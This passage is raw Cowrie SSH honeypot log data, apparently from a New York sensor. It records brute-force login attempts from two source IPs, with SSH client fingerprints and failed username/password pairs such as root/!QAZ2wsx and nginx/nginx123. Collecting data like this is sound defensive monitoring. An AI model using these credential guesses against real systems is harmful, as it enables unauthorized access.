h.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:56.817662Z","src_ip":"176.65.139.95","session":"63e316c53763","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4r3e2w1q","message":"login attempt [root/4r3e2w1q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:57.322473Z","src_ip":"176.65.139.95","session":"63e316c53763","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42646,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2d6a0393a0b","protocol":"ssh","message":"New connection: 192.109.200.78:42646 (159.203.135.109:22) [session: d2d6a0393a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:57.486174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:57.491584Z","src_ip":"192.109.200.78","session":"d2d6a0393a0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:57.573652Z","src_ip":"192.109.200.78","session":"d2d6a0393a0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:57.820950Z","src_ip":"192.109.200.78","session":"d2d6a0393a0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:58.437992Z","src_ip":"176.65.139.95","session":"63e316c53763","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:58.925952Z","src_ip":"192.109.200.78","session":"d2d6a0393a0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39180,"dst_ip":"159.203.135.109","dst_port":22,"session":"1908de9300c5","protocol":"ssh","message":"New connection: 192.109.200.78:39180 (159.203.135.109:22) [session: 1908de9300c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:01.706753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:01.720471Z","src_ip":"192.109.200.78","session":"1908de9300c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:01.808290Z","src_ip":"192.109.200.78","session":"1908de9300c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:02.642588Z","src_ip":"192.109.200.78","session":"1908de9300c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54346,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbb0e563856f","protocol":"ssh","message":"New connection: 176.65.139.95:54346 (159.203.135.109:22) [session: bbb0e563856f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:03.522055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:03.552066Z","src_ip":"176.65.139.95","session":"bbb0e563856f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:03.614633Z","src_ip":"176.65.139.95","session":"bbb0e563856f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:04.017143Z","src_ip":"192.109.200.78","session":"1908de9300c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:04.031998Z","src_ip":"176.65.139.95","session":"bbb0e563856f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:05.132906Z","src_ip":"176.65.139.95","session":"bbb0e563856f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39194,"dst_ip":"159.203.135.109","dst_port":22,"session":"71828dc1ef19","protocol":"ssh","message":"New connection: 192.109.200.78:39194 (159.203.135.109:22) [session: 71828dc1ef19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:05.819449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:05.824818Z","src_ip":"192.109.200.78","session":"71828dc1ef19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:05.911764Z","src_ip":"192.109.200.78","session":"71828dc1ef19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"123456","message":"login attempt [elk/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:06.163857Z","src_ip":"192.109.200.78","session":"71828dc1ef19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:07.248264Z","src_ip":"192.109.200.78","session":"71828dc1ef19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53196,"dst_ip":"159.203.135.109","dst_port":22,"session":"70e5354e677d","protocol":"ssh","message":"New connection: 192.109.200.78:53196 (159.203.135.109:22) [session: 70e5354e677d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:09.781537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:09.786096Z","src_ip":"192.109.200.78","session":"70e5354e677d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:09.868181Z","src_ip":"192.109.200.78","session":"70e5354e677d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sadmin","password":"sadmin","message":"login attempt [sadmin/sadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:10.127080Z","src_ip":"192.109.200.78","session":"70e5354e677d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59384,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e85d17b069e","protocol":"ssh","message":"New connection: 176.65.139.95:59384 (159.203.135.109:22) [session: 1e85d17b069e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:10.481595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:10.545006Z","src_ip":"176.65.139.95","session":"1e85d17b069e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:10.827213Z","src_ip":"176.65.139.95","session":"1e85d17b069e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:11.251702Z","src_ip":"176.65.139.95","session":"1e85d17b069e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:11.317049Z","src_ip":"192.109.200.78","session":"70e5354e677d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:12.342121Z","src_ip":"176.65.139.95","session":"1e85d17b069e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53206,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed1bd27c985d","protocol":"ssh","message":"New connection: 192.109.200.78:53206 (159.203.135.109:22) [session: ed1bd27c985d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:13.806021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:13.826025Z","src_ip":"192.109.200.78","session":"ed1bd27c985d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:13.897334Z","src_ip":"192.109.200.78","session":"ed1bd27c985d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:14.209620Z","src_ip":"192.109.200.78","session":"ed1bd27c985d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:15.295681Z","src_ip":"192.109.200.78","session":"ed1bd27c985d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59388,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7a7618ad7ff","protocol":"ssh","message":"New connection: 176.65.139.95:59388 (159.203.135.109:22) [session: c7a7618ad7ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:17.684015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:17.695322Z","src_ip":"176.65.139.95","session":"c7a7618ad7ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53218,"dst_ip":"159.203.135.109","dst_port":22,"session":"e380cd70b87d","protocol":"ssh","message":"New connection: 192.109.200.78:53218 (159.203.135.109:22) [session: e380cd70b87d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:17.702363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:17.708481Z","src_ip":"192.109.200.78","session":"e380cd70b87d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:17.783870Z","src_ip":"176.65.139.95","session":"c7a7618ad7ff","protocol":"ssh"}
